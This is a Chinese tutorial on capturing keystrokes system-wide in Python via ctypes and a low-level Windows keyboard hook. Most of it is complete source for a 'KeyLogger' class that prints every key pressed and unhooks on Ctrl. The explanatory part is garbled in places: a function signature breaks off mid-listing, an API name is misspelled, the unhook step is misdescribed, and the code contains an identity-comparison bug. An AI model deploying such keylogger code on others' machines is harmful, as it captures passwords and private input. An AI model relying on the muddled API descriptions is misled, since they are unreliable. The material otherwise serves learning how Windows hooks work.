使用ctypes模块进行键盘钩取

原理:
使用user32.dll提供的SetWindowsHookExA函数,可以设置钩子。当有消息到来或发生鼠标、键盘输入事件时,操作系统提供了中间拦截机制,这称为“钩子”。从功能上实现这种机制的函数称为钩子过程(回调函数)。操作系统支持为一个钩子类型(鼠标点击、键盘输入等)设置多个钩子进程,并通过钩链管理链表。钩链是关于钩子过程的指针链表。钩子分为本地钩子与全局钩子。本地钩子针对特定线程设置的,全局钩子针对操作系统中运行的所有线程设置。

使用ctypes模块进行键盘钩取_第1张图片
用到的dll:
Windll:ctypes模块中动态链接库的加载方式,用于加载遵循stdcall调用约定的动态链接库
kernel32.dll:Windows9x/Me中非常重要的32位动态链接库文件,属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。
user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息。

用到的函数:
HHOOK SetWindowsHookEx(
int idHook, //要安装的钩子类型 (参考下面的IdHook取值)
其中idHook参数可以如下常量:
WH_KEYBOARD //当敲击键盘时将触发此钩子
pointer,
windll.kernel32.GetMoudleHandleW(None),
0)
GetModuleHanleW():GetModuleHandle是一个计算机函数,功能是获取一个应用程序或动态链接库的模块句柄。
UnhookWindowsHookEx():函数SetWindowsHookEx的返回值.要删除的钩子的句柄。
CFUNCTYPE():若想注册钩子过程(回调函数),必须传入函数指针。ctypes为此提供了专门的方法。通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程的参数与参数类。通过CMPFUNC()函数获取内部声明的函数指针
CallNextHookEx():CallNextHookEx是一种函数,可以将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息。
GetMessageA():函数功能:获取窗口的消息。

源代码:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

#1.使用windll:使用windll声明user32与kernel类型的变量。使用相应DLL提供的函数时,
#格式为user32.API名称或kernel.API名称。
user32 = windll.user32
kernel32 = windll.kernel32

#2.声明变量:在win32API内部定义并使用的变量值,可以通过MSDN或者网络搜索轻松获取,
#将其声明为变量并事先放入变量
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

#3.定义类:定义拥有挂钩与拆钩功能的类
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #4.定义挂钩函数:使用user32DLL的SetWindowsHookExA函数设置钩子。 要监听的事件为
    #WHKEYBOAD_LL,范围设置为操作系统中运行的所有线程
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    #5.定义拆钩函数:调用user32Dll的SetWindowsHookEx()函数,拆除之前设置的钩子。
    #钩子会大大增加系统负荷,调用完必须拆除
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

#6.获取函数指针:若想注册钩子过程(回调函数),必须传入函数指针。ctypes为此提供
#了专门的方法。通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程
#的参数与参数类。通过CMPFUNC()函数获取内部声明的函数指针
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#7.定义钩子过程:钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理。若
#到来的消息类型是WM__KEYDOWN,则将消息值,输出到屏幕;若消息与键的值一致,
#则拆除钩子。处理完毕后,将控制权限让给勾连中的其他钩子过程(CallNextHookEx()函数)
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print(hookedKey)

    if(CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的
#第一个钩子
def startKeyLog():
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)

#9.启动消息钩取,首先创造KeyLogger 类,然后installHookProc()函数设置钩子,同时
#注册钩子过程回调函数。最后调用startKeyLog()函数,将进入队列的消息传递给勾连
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
       print("installed keyLogger")

startKeyLog()

在xp上运行结果:

使用ctypes模块进行键盘钩取_第2张图片
使用ctypes模块进行键盘钩取_第3张图片

你可能感兴趣的:(python编程)